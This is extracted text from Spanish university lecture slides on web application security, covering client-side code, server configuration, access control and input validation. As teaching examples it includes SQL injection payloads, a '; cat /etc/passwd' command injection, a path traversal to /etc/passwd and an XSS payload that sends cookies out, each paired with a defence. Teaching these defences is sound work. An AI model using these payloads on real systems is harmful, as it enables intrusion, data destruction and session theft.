Get

Seguridad en Sistemas Informticos e Internet
Seguridad en las Aplicaciones Web

LabIS2 http://www.lsi.us.es/~quivir
Dpto. Lenguajes y Sistemas Informticos Universidad de Sevilla
Contenido

Introduccin Seguridad en Seguridad en Seguridad en Seguridad en
el el la la
Cliente Servidor Aplicacin Comunicacin
Contenido

Introduccin

Seguridad en Seguridad en Seguridad en Seguridad en
Aplicaciones Web Cunta seguridad es necesaria? Amenazas ms importantes a las aplicaciones web Guas de seguridad
el el la la
Contenido

Introduccin Seguridad en el Cliente

Seguridad en el Servidor Seguridad en la Aplicacin Seguridad en la Comunicacin

Cdigo mvil Lenguajes de Macro: VBA Lenguajes de Script: JavaScript y VBScript Applets Java Controles ActiveX
Contenido

Introduccin Seguridad en el Cliente Seguridad en el Servidor Seguridad en la Aplicacin Seguridad en la Comunicacin

Servidor Web Servidor de Bases de Datos Lenguajes de servidor

Contenido

Introduccin Seguridad en el Cliente Seguridad en el Servidor Seguridad en la Aplicacin Seguridad en la Comunicacin

Control de acceso Validacin de datos de entrada Programacin segura
Contenido


SSL
el el la la
Programacin
Teora Viernes 7 Introduccin Seguridad en el cliente Seguridad en el servidor Seguridad en la aplicacin: control de acceso Seguridad en la aplicacin: control de acceso Seguridad en la aplicacin: validacin de datos de entrada Seguridad en la aplicacin: programacin segura Seguridad en la comunicacin Prctica 1. Cdigo mvil
Jueves 20
2. Autentificacin bsica HTTP
Viernes 21
3. Control de acceso
Jueves 4
4. Validacin de datos
Viernes 5
5. SSL en Apache
Contenido

el el la la
Introduccin

Aplicaciones Web Cunta seguridad es necesaria? Amenazas ms importantes a las aplicaciones web Guas de seguridad
10
Introduccin

Aplicaciones Web
Aplicaciones cliente/servidor que utilizan el protocolo HTTP para interactuar con los usuarios u otros sistemas El cliente utilizado por los usuarios es habitualmente un navegador Los problemas de seguridad pueden provenir de los programas web en los que se apoyan, aunque en su mayor parte son consecuencia de fallos en la lgica y el diseo de la propia aplicacin
11
Introduccin

Cunta seguridad es necesaria?
La seguridad supone un coste econmico y de eficiencia. Hay que disponer de la adecuada, ni ms ni menos Para ello hay que tener en cuenta tres reglas: El riesgo cero no es prctico Hay diversas formas de mitigar el riesgo No se puede gastar un milln para proteger un cntimo
12
Introduccin

Amenazas ms importantes: Top 10

The Open Web Application Security Project (OWASP) The Ten Most Critical Web Application Security Vulnerabilities www.owasp.org/documentation/topten
13
Introduccin

1. 2. 3. 4. 5. 6. 7. 8. 9. 10.
Top Ten de amenazas
Entrada no validada Control de acceso roto Administracin de sesin y autentificacin rota Fallos de Cross Site Scripting (XSS) Desbordamiento del buffer Fallos de inyeccin Manejo inadecuado de errores Almacenamiento inseguro Negacin de servicio Administracin de configuracin insegura
14
Introduccin

Guas de seguridad
Es conveniente tener en cuenta unos principios de alto nivel al disear aplicaciones web: Validar la entrada y la salida Fallar con seguridad Mantener un esquema de seguridad simple Utilizar componentes de confianza La seguridad a travs de la oscuridad no funciona Mantener los privilegios al mnimo y separados
15
Contenido

el el la la
16
Seguridad en el Cliente

Cdigo mvil Lenguajes de Macro: VBA JavaScript VBScript Applets Java Controles ActiveX
17

Cdigo mvil
Cdigo que circula por la red y se ejecuta en una mquina remota Aparece incrustado en un documento HTML. Un cliente de correo o un navegador que carguen el documento lo ejecutarn en la mquina cliente Potencia la funcionalidad de los documentos HTML pero entraa riesgos de seguridad. Un cdigo mvil puede obtener informacin acerca de un sistema o un usuario y enviarla a una mquina remota
18

Cdigo mvil
Puede estar incrustado directamente en el documento, caso de los lenguajes de script como JavaScript y VBScript Tambin puede residir en un servidor y ser invocado mediante una referencia en el documento, caso de las applets de Java o los controles ActiveX El cdigo ActiveX suele permanecer en el sistema una vez que se instala, mientras que las applets de Java se ejecutan una sla vez y no se almacenan en la mquina del usuario
19

Cdigo mvil
Hay cuatro tipos bsicos de cdigo mvil: Lenguajes de macro como Visual Basic for Applications (VBA) Scripts como JavaScript y VBScript Applets de Java Controles ActiveX Un mtodo de proteccin comn es tener siempre actualizado el software
20

Lenguajes de Macro: VBA
Es un lenguaje de macro propio de Microsoft Office, aunque otras aplicaciones lo han adoptado Permite el acceso a todas las funciones de la aplicacin, incluyendo el acceso a disco La macro est incrustada en el documento
21

Las versiones previas a Office 97 ejecutaban las macros al abrir los documentos sin pedir autorizacin al usuario. Una macro poda contener un virus y causar grandes perjuicios Al ejecutarse podra copiarse en la plantilla normal, con lo que aparecera en cualquier documento creado con la aplicacin y se expandira al compartirse los documentos Ejemplo: Melissa (1999), creado con VBA en un documento Word. Se reenviaba a los primeros 50 contactos de Outlook
22

Para protegerse de los virus de macro hay que tener mucha precaucin al permitir la ejecucin de macros en un documento. Slo debe hacerse cuando la fuente de procedencia del documento sea fiable
23

JavaScript
Fue diseado para aadir interactividad a una pgina web Un cdigo JavaScript tiene acceso nicamente a la informacin contenida en la pgina en la que est incrustado Es bastante seguro. Algunos problemas del pasado han estado relacionados con implementaciones de JavaScript por parte de Microsoft y Netscape. La madurez de la tecnologa ha permitido solucionarlos
24

JavaScript
El nico problema serio est relacionado con los servicios de correo Web Si se recibe un correo con un cdigo malicioso, al visualizarlo podra hacer cosas como leer los mensajes del usuario, enviar mensajes en su nombre, leer una cookie o abrir una falsa ventana de identificacin para pedir al usuario la confirmacin de su password. Podra usar marcos para continuar ejecutndose mientras visualizamos otros mensajes o realizamos otras tareas Apareci por primera vez en Hotmail y provoc que los servicios de correo web decidieran neutralizar el cdigo JavaScript de los mensajes recibidos
Seguridad en Sistemas Informticos e Internet 25

JavaScript
Otra fuente de problemas es la posibilidad que ofrece de comunicarse con los plug-ins del navegador (p. Ej. Shockwave player). Si el plug-in tiene acceso a disco, JavaScript tambin lo tiene La mejor proteccin es tener el software actualizado. Si se utiliza un servicio de correo web hay que verificar que tiene activados filtros contra el cdigo JavaScript. Tambin se puede deshabilitar JavaScript o pedir confirmacin cuando se intente ejecutar cdigo JavaScript, aunque puede resultar muy pesado Netscape permite deshabilitar JavaScript de forma independiente para navegador y lector de correo

VBScript
Slo funciona con Internet Explorer y Outlook, por lo que no es tan popular como JavaScript Ofrece una funcionalidad similar pero con una notable excepcin: puede interactuar con los controles ActiveX instalados en la mquina sta es la principal fuente de problemas, ya que carece de operaciones potencialmente peligrosas Los controles ActiveX pueden ser marcados como safe o unsafe for scripting de forma que se impida a los scripts acceder a ellos
27

Applets Java
Normalmente no pueden leer ni escribir datos en el disco local ni comunicarse con otro recurso de la red salvo el servidor del que procede, lo cual garantiza que no tendrn comportamiento malicioso Excepcin: pueden crear hilos que se ejecutan en segundo plano. Estos hilos pueden seguir en ejecucin aunque se cierre el navegador y pueden tener un efecto poco pernicioso, como reproducir msica de fondo. La nica forma de pararlos es cerrar todas las ventanas del navegador Efecto ms negativo: el applet crea hilos que consumen mucha memoria y/o CPU haciendo ms lento el sistema y llegando incluso a colapsarlo

Controles ActiveX
Son la respuesta de Microsoft a las applets de Java Slo funcionan bsicamente con Internet Explorer y Outlook La seguridad de los controles ActiveX se basa en los certificados digitales. Los controles estn firmados digitalmente para garantizar su autenticidad Al cargar el control IE presenta el certificado digital y pide autorizacin para instalarlo. Pueden existir controles sin firma, aunque sern directamente rechazados por IE si est configurado correctamente
30

Controles ActiveX
El problema se da cuando un control est mal construido, proporcionando agujeros de seguridad a los atacantes Un problema habitual en algunos controles es el buffer overrun, padecido por ejemplo por el control de Adobe Acrobat Reader 4.0 y que permite la ejecucin de cdigo arbitrario en la mquina del usuario Cuando se construye un control ActiveX que puede realizar tareas potencialmente peligrosas (como leer o escribir en disco) hay que tener la precaucin de marcarlo como unsafe for scripting para que no pueda ser llamado desde VBScript

Prctica 1: Cdigo mvil
Creacin de un formulario Validacin de datos con JavaScript Formas de saltarse la validacin JavaScript
32
Contenido

el el la la
33
Seguridad en el Servidor

Servidor Web Servidor de Bases de Datos Lenguajes de servidor
34
El desarrollo de una aplicacin web requiere de una serie de herramientas: servidores web, servidores de aplicaciones, servidores de bases de datos, lenguajes de servidor, etc. Estas herramientas pueden plantear problemas que comprometan a la aplicacin: Vulnerabilidades debidas al uso de versiones no actualizadas Configuraciones por defecto inadecuadas Activacin de cuentas por defecto Las herramientas deben estar actualizadas y bien configuradas para impedir ataques a la aplicacin
35

Servidor Web
Proporciona muchos servicios y es muy probable que algunos de ellos no sean necesarios para el funcionamiento de la aplicacin web En tal caso es conveniente deshabilitarlos Para ello el servidor dispone de mltiples opciones de configuracin que es conveniente adaptar a las circunstancias concretas de la aplicacin web
36

Servidor Web
Precauciones a tener en cuenta: Establecer permisos adecuados para los ficheros del servidor y los documentos. Es conveniente definir un usuario y grupo especiales (web, www) Listado automtico de directorios. Puede ser conveniente pero proporciona informacin sensible Seguimiento de enlaces simblicos. Peligroso si se enlazan ficheros externos al rbol de documentos
37

Servidor Web
Precauciones a tener en cuenta (cont): Ejecucin de CGI. Slo debe permitirse a usuarios de confianza y restringirlo a un directorio especial Server side includes (SSI). Es una fuente de peligro y puede tener que ser restringido a usuarios de confianza o deshabilitado (en particular la opcin exec ). Ejemplo:
... cdigo HTML  ... cdigo HTML
38

Servidor Web
Ejercicio: Configuracin de Apache
39

Servidor Web
Es muy conveniente revisar peridicamente los ficheros de log (access_log y error_log en Apache) para detectar posibles ataques al servidor
40

Servidor Web
Ejercicio: Ficheros de log en Apache
41

Servidor de Bases de Datos
Proporciona acceso a bases de datos, fundamental en toda aplicacin web importante. Riesgos: Descubrimiento de informacin acerca de los datos de conexin al servidor (usuario y clave), informacin sensible almacenada en la base de datos (tarjetas de crdito ) o informacin sobre la estructura de la base de datos Modificacin de las instrucciones SQL enviadas al servidor, construidas de forma dinmica a partir de datos recibidos del usuario y por tanto potencialmente peligrosos (Inyeccin SQL) Acceso no autorizado a informacin restringida

Hay que vigilar la configuracin por defecto del servidor, que puede incluir bases de datos y usuarios predefinidos que conviene eliminar Algunas recomendaciones: No ejecutar el servidor como root No dar a ningn usuario salvo al root permiso de acceso a la tabla de usuarios Asegurarse de que el root tiene un password Restringir el acceso remoto al servidor No dar a un usuario ms permisos que los estrictamente necesarios Almacenar los datos sensibles de forma encriptada

En el cdigo de la aplicacin hay que tener, entre otras, las siguientes precauciones: Validar las instrucciones SQL antes de enviarlas al servidor No revelar informacin sobre la base de datos en los mensajes de error (esquema, naturaleza de los datos almacenados, fragmentos SQL) Proteger el cdigo donde aparezca informacin sensible para el acceso al servidor
44


Ejercicio: Configuracin de MySQL
45

Lenguajes de servidor
ASP, JSP, PHP Aumentan enormemente la potencia de los documentos HTML al permitir la comunicacin con aplicaciones residentes en el servidor, y muy especialmente con servidores de bases de datos Esta potencialidad conlleva riesgos. Hay que revisar a fondo la configuracin para eliminar funcionalidades no utilizadas y seguir prcticas adecuadas de programacin, sobre todo en funciones con vulnerabilidades conocidas
46

Hay que proteger el cdigo fuente para evitar que pueda ser visualizado, especialmente cuando contiene informacin sensible como pueden ser los datos de conexin al servidor de bases de datos Una medida razonable consiste en sacar el cdigo fuente sensible fuera de la raz de la web
47

Ejercicio: Errores en cdigo PHP
48
Contenido

el el la la
49
Seguridad en la Aplicacin

Control de acceso Validacin de datos de entrada Programacin segura
50

Control de acceso
Un aspecto muy importante de una aplicacin web es el control de acceso de los usuarios a zonas restringidas de la aplicacin Aqu intervienen dos conceptos: Autentificacin Autorizacin
51

Autentificacin
Es el proceso de determinar si un usuario es quien dice ser Esto se puede hacer de varias maneras. Algunas de ellas son: Autentificacin HTTP bsica Autentificacin basada en la aplicacin
52

Autentificacin HTTP bsica
Cuando se requiere una URI protegida, el servidor web devuelve un cdigo HTTP/1.1 401 Authorization required , indicando al cliente que muestre una ventana de dilogo con un nombre de usuario y una contrasea Cuando se pulsa el botn de envo estos datos llegan al servidor que comprueba si son correctos y en caso afirmativo sirve el recurso solicitado
53
54

Ventajas: Es muy simple de implementar Se pueden fijar restricciones de acceso por usuario y contrasea o por otros conceptos como por ejemplo el dominio o direccin IP de la mquina Inconvenientes: Los datos viajan por la red sin encriptar No se puede hacer logout, la nica forma es cerrar el navegador No hay control sobre el diseo de la ventana de dilogo
55

Ejercicio: proteccin de un directorio del servidor
56

Prctica 2: Autentificacin HTTP bsica

Creacin de una pgina web Creacin de un usuario Creacin de un fichero .htaccess Configuracin del servidor web Apache
57

Autentificacin basada en la aplicacin
La propia aplicacin puede implementar un mecanismo de autentificacin que implica la presentacin de un formulario para que el usuario introduzca sus credenciales y el uso de una base de datos para verificar la correccin de stas Es ms costosa pero ms flexible ya que permite establecer diferentes permisos y niveles de acceso en funcin del usuario que solicita la autentificacin
58
59

Passwords
Siempre que se utilizan passwords para autentificar usuarios hay que seguir unas recomendaciones: Restringir los valores para los nombres de usuarios. Los que representan nombres reales suponen dar pistas a los atacantes Almacenar los passwords de forma segura, protegiendo el acceso a la base de datos Seguir reglas de seguridad para su eleccin Bloquear una cuenta cuando se detecta un nmero determinado de intentos de acceso incorrectos Actualizar los passwords peridicamente y mantener un histrico para evitar repeticiones

Passwords
Cualquier sistema que requiera autentificacin debe tener una poltica de recuperacin de passwords en caso de olvido del usuario Esto se puede hacer de dos formas: Automticamente A travs de tcnicos de soporte
61

Passwords
En el caso automtico hay varias estrategias: Plantear durante el registro del usuario varias preguntas a las que slo l puede responder Enviar el password por correo electrnico. Es recomendable que tenga fecha de expiracin y se pida su cambio cuando el usuario se conecte Comunicar el password por telfono al usuario a requerimiento del mismo Deben registrarse todos los intentos de recuperacin y fijar un lmite de tiempo pasado el cual sera preciso recurrir al tcnico
62
63

Passwords
En el caso del tcnico hay que prever el servicio a personas de diferentes pases con lenguas diferentes La intervencin humana da mayor seguridad, pero es ms costosa y ms molesta para el usuario Una alternativa a la presencia fsica puede ser el uso del fax para enviar la documentacin que certifique la identidad del usuario
64

Sesiones
Una vez que el usuario se ha autentificado introduciendo su nombre de usuario y su clave, es preciso mantener esta autentificacin en cada conexin subsiguiente Para evitar tener que mostrar nuevamente la ventana de autentificacin se recurre habitualmente al uso de sesiones, un mecanismo que permite mantener el estado entre diferentes peticiones HTTP
65

Sesiones
El mecanismo es el siguiente: Una vez autentificado, al usuario se le asigna un identificador de sesin Este identificador acompaar invisiblemente a cada peticin del usuario, con lo cual se garantizar que la peticin proviene de un usuario previamente autentificado El identificador de sesin se suele almacenar en la propia mquina del cliente, mediante una cookie Slo se debe almacenar el identificador de la sesin; cualquier otro dato del usuario se almacenar en el servidor

Sesiones
La gestin de las sesiones es responsabilidad del programador. Normalmente los lenguajes de servidor disponen de funciones diseadas especficamente para ello En PHP se dispone de las siguientes funciones: session_start session_register session_is_registered session_unregister session_destroy
67

Sesiones
Un buen sistema de gestin de sesiones debe: Establecer un tiempo lmite de vida para la sesin Regenerar el identificador de sesin cada cierto tiempo Detectar intentos de ataque de fuerza bruta con identificadores de sesin Requerir una nueva autentificacin del usuario cuando vaya a realizar una operacin importante Proteger los identificadores de sesin durante su transmisin Destruir la cookie al finalizar la sesin para evitar el acceso de otro usuario en un entorno pblico

Sesiones
Ejercicio: sesiones en PHP
69

Autorizacin
Es el acto de comprobar si un usuario tiene el permiso adecuado para acceder a un cierto fichero o realizar una determinada accin, una vez que ha sido autentificado
70

Autorizacin
Disear el mecanismo de control de acceso exige: y Determinar la informacin que ser accesible por cada usuario y Determinar el nivel de acceso de cada usuario a la informacin y Especificar un mecanismo para otorgar y revocar permisos a los usuarios y Proporcionar funciones a los usuarios autorizados: identificacin, desconexin, peticin de ayuda, consulta y modificacin de informacin personal, cambio de password, etc. Ajustar los niveles de acceso a la informacin a la poltica de seguridad de la organizacin

Autorizacin
Modelos para el control de acceso: Control de Acceso Discrecional: se basa en la identidad de los usuarios o su pertenencia a ciertos grupos. El propietario de una informacin puede cambiar sus permisos a su discrecin Control de Acceso Obligatorio: cada pieza de informacin tiene un nivel de seguridad y cada usuario un nivel de acceso, lo cual permite determinar los permisos de acceso de cada usuario a cada pieza de informacin Control de Acceso Basado en Roles: cada usuario tiene un rol dentro de la organizacin y en funcin de l unos permisos de acceso

Autorizacin
Para la implementacin del mecanismo de control de acceso en la aplicacin suele recurrirse al uso de bases de datos
73

Prctica 3: Control de acceso
Disear un mecanismo de control de acceso Definir usuarios Especificar nivel de acceso de los usuarios
74

Validacin de datos de entrada
El problema ms frecuente que presentan las aplicaciones web es no validar correctamente los datos de entrada Esto da lugar a algunas de las vulnerabilidades ms importantes de las aplicaciones, como la Inyeccin SQL, el Cross-Site Scripting y el Buffer Overflow Veamos los siguientes aspectos: Fuentes de entrada Inyeccin Estrategias de proteccin Vulnerabilidades especficas

Fuentes de entrada
Los datos de entrada pueden provenir de cuatro fuentes diferentes: Cadenas URL Cookies Cabeceras HTTP Campos de formularios
76

Fuentes de entrada
Cuando se enva un formulario con el mtodo GET, los nombres y valores de todos los elementos del formulario aparecen detrs de la URL de la pgina invocada: Es muy fcil modificar esta cadena:
cadenas URL
http://www.victim.com/example?accountnumber=12345
http://www.victim.com/example?accountnumber=67891
77

Fuentes de entrada
La aplicacin debe chequear el valor recibido aunque proceda de una lista desplegable con unos valores predefinidos, ya que el usuario ha podido modificar manualmente la URL Este problema se da tambin en los hipervnculos que incluyen parmetros Siempre que se enven datos sensibles hay que acompaarlos de un identificador de sesin y comprobar que el usuario asociado a la sesin tiene acceso a la informacin requerida
cadenas URL
78

Fuentes de entrada - cookies
Es un mtodo habitual de mantener el estado o almacenar preferencias del usuario. Pueden ser modificadas por el cliente para engaar al servidor. El peligro depender de lo que se almacene en la cookie. Por ejemplo, la cookie puede ser modificada fcilmente por:
Cookie: lang=en-us; ADMIN=no; y=1; time=10:30GMT;
Cookie: lang=en-us; ADMIN=yes; y=1; time=12:30GMT;
Lo mejor es almacenar en la cookie nicamente el identificador de sesin, manteniendo la informacin relevante en el servidor

Fuentes de entrada - cabeceras
Las cabeceras HTTP contienen informacin de control enviadas entre el cliente y el servidor. Por ejemplo,
Host: www.someplace.org Pragma: no-cache Cache-Control: no-cache User-Agent: Lynx/2.8.4dev.9 libwww-FM/2.14 Referer: http://www.someplace.org/login.php Content-type: application/x-www-form-urlencoded Content-length: 49
80

Fuentes de entrada - cabeceras
Si la aplicacin web utiliza las cabeceras recibidas del cliente, hay que tener en cuenta que stas pueden haber sido manipuladas, por lo que deben ser verificadas Por ejemplo, sea la siguiente cabecera: Si el contenido de la cabecera se utiliza directamente en una consulta a la base de datos, podra utilizarse para inyectar rdenes SQL modificando la cabecera
Accept-Language: es
81

Fuentes de entrada - formularios
Los formularios pueden ser modificados para enviar lo que el usuario desee. Basta con guardar la pgina, modificar el cdigo y recargarlo en el navegador. Las limitaciones impuestas en el propio formulario se pueden saltar perfectamente. Ejemplo: Este elemento podra modificarse as:
<input type=text name="titulo" maxlength="100">
<input type=text name="titulo" maxlength="100000">
con el consiguiente riesgo para la aplicacin si el valor no se chequea adecuadamente
82


Los campos ocultos (HIDDEN) tambin son vulnerables a este ataque, por lo que no deben utilizarse para almacenar informacin sensible Es mucho ms seguro utilizar sesiones y almacenar la informacin sensible en el servidor Ejemplos de campos ocultos vulnerables:
<input name="masteraccess" type="hidden" value="N"> <input name="price" type="hidden" value="199.99">
83

Ejercicio: validacin de datos de formularios con la herramienta WebGoat Descarga e instalacin de WebGoat Ejercicio: hidden field tampering Ejercicio: unchecked email Ejercicio: JavaScript validation
84

Inyeccin
Consiste en inyectar en la aplicacin datos introducidos por el usuario. Esto es muy habitual y de por s no es peligroso
85

Inyeccin de datos
Ejemplo: sea la siguiente instruccin: Pulsando en el artculo de inters para el usuario se convierte en: Otro ejemplo:
sql= "SELECT * FROM noticias WHERE id = $id";
sql= "SELECT * FROM noticias WHERE id = 228";
print "<H2>Bienvenido/a, $username.</H2>";
Una vez identificado el usuario se convierte en:
print "<H2>Bienvenido/a, Antonio.</H2>";
86

Conectores y payload
Idea: suministrar datos que al ser inyectados en la aplicacin causen un efecto particular El ataque est completamente contenido en los datos suministrados por el atacante, que se pueden dividir en tres partes: Conector de prefijo Payload Conector de sufijo El ataque est contenido en el payload y los conectores lo encajan en la aplicacin Para elegirlos es preciso un amplio conocimiento del lenguaje, las herramientas y las tcnicas utilizadas en la aplicacin

Ejemplo: consulta SQL para una interfaz de identificacin de usuario Si inyectamos un ataque en el campo userLogin con los siguientes componentes:
prefijo OR payload 1=1 sufijo
sql = "SELECT * FROM tablausuarios WHERE login = '$userLogin' AND password = '$userPassword';
OR login=
88

obtendremos la consulta SQL:
SELECT * FROM tablausuarios WHERE login = '' OR 1=1 OR login ='' AND password = ''
que nos devolver todos los usuarios de la tabla
89

Con un mayor conocimiento podemos modificar el ataque para reducir el nmero de caracteres empleados, que podra estar limitado. Por ejemplo, el ataque
prefijo OR payload 1=1 sufijo
producira la consulta SQL:

SELECT * FROM tablausuarios WHERE login = '' OR '1'='1' AND password = ''
90

La eleccin de los conectores puede verse facilitada por factores como acceso al cdigo fuente o mensajes de error detallados Ms importante que esto es el hecho de utilizar tcnicas de programacin conocidas en el desarrollo de las aplicaciones
91

Estrategias de proteccin
Existen tres modelos posibles a la hora de disear una estrategia de validacin de datos: Aceptar nicamente datos vlidos conocidos Rechazar datos no vlidos conocidos Sanear todos los datos
92

Aceptar nicamente datos vlidos conocidos. Es la estrategia ms adecuada. Slo deben aceptarse aquellos datos que se adaptan a lo esperado. Por ejemplo, si un password debe contener letras de la A a la Z y dgitos del 0 al 9, debe verificarse que la entrada es una cadena, que slo contiene esos caracteres y que tiene una longitud vlida
93

Aceptar nicamente datos vlidos conocidos. En general hay que chequear lo siguiente:
Tipo de dato Longitud mxima y mnima Datos obligatorios Si hay una lista enumerada de posibles valores, comprobar que est en ella Si hay un formato o plantilla especfico, comprobar que lo cumple Si es texto libre, que slo contiene caracteres vlidos Si se permiten caracteres peligrosos, sanearlos
Deben considerarse los valores por separado pero tambin teniendo en cuenta que pueden unirse para formar, por ejemplo, una consulta SQL
94

Rechazar datos no vlidos conocidos. Implica conocer todos los posibles datos peligrosos, lo cual es muy difcil Sanear todos los datos. Consiste en transformar los datos en una representacin que no presente riesgos. Por ejemplo, transformar (una comilla simple) en (dos comillas simples) o < en < . Es buena como complemento a la primera estrategia aunque no tanto para utilizarse sla porque es difcil sanear todos los datos
95

Nunca debe confiarse en la validacin de datos en el cliente ya que puede puentearse con facilidad. Toda la validacin de datos debe realizarse en el servidor Conceptos errneos sobre la validacin en el cliente:
El atributo MAXLENGTH limitar los caracteres que el usuario puede introducir El atributo READONLY evitar que el usuario pueda modificar un valor Los campos de tipo HIDDEN no se pueden modificar Las cookies no se pueden modificar Las listas desplegables o botones de radio limitan los valores de entrada Todos los campos del formulario sern enviados Slo los campos del formulario sern enviados
96

Prctica 4: Validacin de datos
Validacin de datos en el servidor Creacin de un formulario en PHP con validacin de los datos de entrada Uso de expresiones regulares para validar los datos de entrada
97

Vulnerabilidades especficas
Las vulnerabilidades comunes ms peligrosas que resultan de una falta de proteccin adecuada ante los datos de entrada son: Inyeccin SQL Inyeccin de rdenes del SO Inyeccin HTML (Cross-site Scripting o XSS) Path Traversal Buffer Overflow
98

Inyeccin SQL
Consiste en inyectar un mandato dentro de una consulta SQL. Sea la consulta: siendo $codigo un valor introducido desde un formulario. Si el valor es 23 la consulta ser: Si el valor es
23; DROP TABLE users
$consulta = SELECT titulo FROM libros WHERE codigo = $codigo;
SELECT titulo FROM libros WHERE codigo = 23
la consulta es:
SELECT titulo FROM libros WHERE codigo = 23; DROP TABLE users
que destruira la tabla de usuarios de MySQL

99

Inyeccin SQL
Sea ahora el siguiente cdigo muy habitual en una aplicacin Web:
$consulta = SELECT id FROM usuarios WHERE username = $username AND password = $password;
Si se introducen los valores juan como username y jj.ssii como password, la consulta queda:
SELECT id FROM usuarios WHERE username = juan AND password = jj.ssii
100

Inyeccin SQL
Se puede saltar la comprobacin del password introduciendo el valor juan -- como username o el valor OR = como password. Las consultas que quedaran en ambos casos son, respectivamente:
SELECT id FROM usuarios WHERE username = juan-- AND password =

SELECT id FROM usuarios WHERE username = juan AND password = OR =
En el primer caso ntese que -- es un comentario de lnea en MySQL y provoca que se ignore todo lo que viene tras l en la lnea
101

Inyeccin SQL
La inyeccin SQL puede utilizarse para: Cambiar valores de las consultas Concatenar varias consultas Aadir llamadas a funcin y procedimientos almacenados a una consulta Para evitar la inyeccin SQL es muy importante validar los valores que se han de integrar en la consulta SQL. En el primer caso, por ejemplo, $codigo debe ser un valor entero
102

Inyeccin SQL
Ejercicio: inyeccin de una orden SQL desde un formulario
103

Inyeccin de rdenes del SO
Casi todos los lenguajes de programacin disponen de funciones que permiten la ejecucin de rdenes del Sistema Operativo En PHP, por ejemplo, se tienen las funciones exec() y system(). Estas funciones son tiles para tareas como el manejo de ficheros o el envo de correo, pero plantean serios riesgos ya que se pueden manipular para: Alterar las rdenes ejecutadas Alterar los parmetros pasados a las rdenes del sistema Ejecutar rdenes adicionales


system (ls $directorio);
Sea, por ejemplo, el siguiente cdigo PHP: Si el valor de la variable $directorio fuese /tmp; cat /etc/passwd, se mostrara el fichero de passwords del sistema ya que se ejecutara la orden
ls /tmp; cat /etc/passwd
105

Una solucin a este problema es utilizar la funcin escapeshellarg(), que coloca unas comillas englobando al parmetro y elimina las que pudiera haber dentro del mismo: De esta manera, la orden que se ejecutara ahora sera
system (ls . escapeshellarg($directorio));
ls /tmp; cat /etc/passwd
106

La mejor proteccin contra este ataque es limitar toda informacin pasada a las rdenes del sistema nicamente a valores conocidos Si estos valores no pueden ser enumerados, la alternativa es limitar el tamao al mnimo valor posible y sanear los caracteres que pudieran utilizarse para ejecutar otras rdenes Tambin, y en la medida de lo posible, deben utilizarse las funciones de biblioteca en lugar de invocar rdenes del SO
107

Ejercicio: inyeccin de una orden del sistema operativo desde un formulario
108

Inyeccin HTML (Cross-site Scripting)
Consiste en insertar en un texto (p.ej. un mensaje de un foro) cdigo malicioso (p.ej. JavaScript). Cuando otro usuario visualice el texto el cdigo se ejecutar en su mquina. Por ejemplo, si se inserta el texto:
Una galleta?<script>alert(document.cookie)</script>
cuando un usuario lo visualice aparecer su cookie en una ventana. Esto no es grave ya que cada usuario visualiza su propia cookie, pero si se modifica as: dejar la cookie del usuario en el log del servidor del atacante, que podra hacerse con la sesin
<script>document.write('<img src= "http: //targetsite.com/'+document.cookie+'")</script>

Hay varios tipos de cosas que se pueden insertar en el cdigo HTML de esta manera: Marcas HTML, como <SCRIPT>, <A>, <IMG> o <IFRAME>. El efecto se produce cuando el texto se visualiza en el navegador de otro usuario Eventos, como ONCLICK, asociados habitualmente a elementos de formulario
110

Para evitar este ataque es conveniente filtrar todos los caracteres que tienen un significado especial en HTML como , &, < y >. Los lenguajes disponen de funciones especficas para ello. En PHP existe la funcin htmlspecialchars()
111


Ejemplo: el siguiente cdigo muestra el campo mensaje de un registro recuperado de una tabla
print <TD>; print $fila[mensaje]; print </TD>;
Si el mensaje contiene caracteres HTML puede ser peligroso. Para solucionarlo se modifica el cdigo:
print <TD>; print htmlspecialchars($fila[mensaje]); print </TD>;
112


Esta solucin no siempre es vlida. En el cdigo
//llamada: pag.php?imagen=javascript:alert(document.cookie); print <IMG SRC=. htmlspecialchars($_GET[imagen]) .>; // resultado: <IMG SRC=javascript:alert(document.cookie);>
la funcin htmlspecialchars() no evita que se ejecute el cdigo malicioso. La nica solucin es aceptar siempre datos garantizados como buenos. En este caso, slo se debe aceptar un parmetro que corresponda a un nombre de fichero vlido:
if (preg_match('/^[0-9a-z_]+\.[a-z]+$/i', $_GET[imagen])) print <IMG SRC= . $_GET[imagen] . >;
113


Ejercicio: almacenamiento de un script en el servidor y posterior visualizacin del mismo
114

Path Traversal
Una aplicacin es vulnerable a este tipo de ataques cuando el atacante puede construir peticiones que le permiten acceder a ficheros localizados fuera de la raz de la Web, como por ejemplo /etc/passwd Para ello utiliza caracteres como ../ en los parmetros que representan nombres de fichero. Si el atacante accede a directorios del sistema, podra llegar incluso a ejecutar mandatos del sistema
115

Path Traversal
Sea por ejemplo el siguiente cdigo PHP: Si la variable $cabecera toma el valor ../etc/passwd, se mostrara el fichero de passwords del sistema
include (/lib/ . $cabecera);
116

Path Traversal
Para evitar estos ataques hay que utilizar las funciones de normalizacin de rutas que suelen tener los lenguajes En PHP para chequear nombres de ficheros se utilizan las funciones realpath() y basename(). La primera convierte direcciones relativas en absolutas y la segunda toma una ruta y devuelve la parte correspondiente al nombre del fichero. En el ejemplo anterior tendramos:
$cabecera2 = basename (realpath($cabecera)); if ($cabecera2 == $cabecera) include (/lib/ . $cabecera);
117

Path Traversal
Otra defensa contra los nombres de ficheros incorrectos en PHP es la directiva de configuracin open_basedir: PHP limitar las operaciones sobre ficheros al directorio especificado y sus subdirectorios. As, por ejemplo,
// en php.ini
open_basedir = /alguna/ruta
include (/alguna/ruta/lib.php); // permitido include (/otra/ruta/lib.php); // da un error // de ejecucin
118

Path Traversal
Ejercicio: acceso a ficheros del sistema
119

Buffer Overflow
Este ataque consiste en corromper la pila de ejecucin de una aplicacin enviando unos datos de entrada especialmente preparados con tal fin El objetivo es conseguir la ejecucin de un cdigo enviado por el atacante y tomar el control de la mquina Estas vulnerabilidades no son fciles de detectar y, de hacerse, son muy difciles de explotar
120

Buffer Overflow
Las vulnerabilidades pueden estar presentes en las herramientas (como el servidor web) o bibliotecas externas, siendo en tal caso conocidas pblicamente y por tanto ms peligrosas. La nica proteccin contra ellas consiste en tener actualizadas todas las herramientas Tambin pueden encontrarse en la aplicacin, siendo ms difciles de explotar porque habr menos atacantes. Adems, en caso de descubrirlas no ser fcil aprovecharlas ya que desconocen el cdigo fuente de la aplicacin. La proteccin pasa por comprobar todo el cdigo que acepta datos de entrada para asegurar que chequea su tamao

Programacin segura
